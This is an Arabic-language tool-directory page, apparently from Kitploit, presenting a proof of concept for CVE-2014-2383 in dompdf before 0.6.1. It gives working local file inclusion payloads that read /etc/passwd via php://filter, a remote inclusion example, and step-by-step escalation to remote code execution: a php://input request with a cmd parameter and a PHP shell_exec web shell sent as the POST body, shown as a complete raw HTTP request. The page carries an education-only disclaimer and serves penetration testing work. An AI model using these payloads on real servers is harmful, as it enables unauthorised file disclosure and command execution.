Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2014-2383-LFI-to-RCE-Escalation | Kitploit
أدوات/GitHubGitHub/relativ3pa1n/cve-2014-2383-lfi-to-rce-escalation
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubrelativ3pa1n/cve-2014-2383-lfi-to-rce-escalation

CVE-2014-2383-LFI-to-RCE-Escalation

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1منذ 3 سنواتلم تتم المراجعة بعد

CVE-2014-2383 تصعيد LFI/RFI إلى RCE

بيئة الاختبار: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25

أثناء تقييم أمني تم اكتشاف وجود CVE-2014-2383. هذه الوثيقة هي إثبات مفهوم (Proof of Concept) ولا تتضمن تفاصيل الاكتشاف الأولي حفاظًا على خصوصية العميل. ومع ذلك، يحاكي المحتوى الموجود في هذه الوثيقة البيئة التي استُغلت فيها هذه الثغرة.

الاكتشاف https://github.com/projectdiscovery/nuclei

تفاصيل CVE-2014-2383

root@kitploit:~
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.

لاحظ استخدام غلاف PHP php://filter/resource لتضمين ملف /etc/passwd من الهدف.

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

لم يقتصر دور غلاف PHP هذا على السماح بتضمين الملفات المحلية فحسب، بل امتد أيضًا ليشمل الملفات البعيدة.

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

التصعيد إلى RCE

حتى هذه اللحظة، كنا نستخدم معلومات معروفة وإثباتات مفاهيم (Proof of Concepts) لاستغلال هذه الثغرات. وفي محاولة لتوسيع نطاق استغلال هذه الثغرة، استخدمت بروتوكولات أخرى ومرشحات PHP من أجل الحصول على نوع من "المعالجة المسبقة" قبل إنشاء ملف PDF.

كان أحد الفروق الرئيسية في ثغرة LFI/RFI هذه هو أن أي ملف تتم الإشارة إليه عبر LFI كان يُعرض كمستند PDF. وهذا يعني أن محاولة عرض ملف PHP عبر LFI ستؤدي فقط إلى تحويل هذا الملف إلى PDF دون تنفيذ أكواد PHP الموجودة فيه. وبالنظر عن قرب إلى الحمولة (Payload) الخاصة بنا، سنلاحظ أن php://filter/resource= هو الجزء من حمولتنا الذي يتجاوز القيد الذي تضعه DOMPDF.

باستخدام مرشح PHP مختلف، يمكننا جعل الخادم يعالج طلب POST مسبقًا قبل تنفيذ LFI. يمكننا استخدام تدفق الإدخال php://input لقراءة البيانات الخام من طلب POST الخاص بنا. بالإضافة إلى ذلك، يمكننا إضافة معامل (Parameter) يحتوي على الأمر الذي نريد تنفيذه وتحديده في بيانات POST. لذا سيبدو معاملنا الجديد هكذا تقريبًا php://input&cmd=id وستكون بيانات POST الخاصة بنا هكذا: <?php echo shell_exec($_GET[‘cmd’]);?>. النتيجة موضحة أدناه.

خطوات إعادة الإنتاج

انتقل إلى LFI بمجرد اكتشاف إصدار من DOMPDF < 0.6.1

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

اعترض هذا الطلب في بروكسي مثل BurpSuite

أرسل الطلب إلى Repeater (ctrl+r)

بمجرد أن يكون لديك الطلب في Repeater، انقر بزر الماوس الأيمن على الطلب واختر "Change Request Method"

عدّل المعامل input_file:

root@kitploit:~
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

أضِف هذا إلى نص طلب POST: (في بعض الأحيان قد تحتاج إلى إعادة كتابة علامات الاقتباس المفردة)

root@kitploit:~
<?php echo shell_exec($_GET['cmd']);?>

يجب أن يبدو الطلب بالكامل مشابهًا إلى حد كبير لما يلي:

root@kitploit:~
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

<?php echo shell_exec($_GET['cmd']);?>

إذا كنت تستخدم BurpSuite، فأرسل الطلب ثم استخدم شريط البحث للبحث عن "BT". لاحظ أنه تم تنفيذ الأمر وأن الاستجابة تُكتب في بيانات مستوى البايت لملف PDF الذي تتم محاولة إنشائه. (في هذه الحالة، المستخدم هو "daemon")

لقد أعددت سكربت Python يمكنه أتمتة معظم ذلك.

إخلاء مسؤولية: هذا المحتوى لأغراض تعليمية فقط. يُرجى ترك خوادم الويب الخاصة بالآخرين وشأنها. 😄

إليك رابط الفيديو غير المدرج (Unlisted) الخاص بـ RCE. فيديو

تنزيل الأداة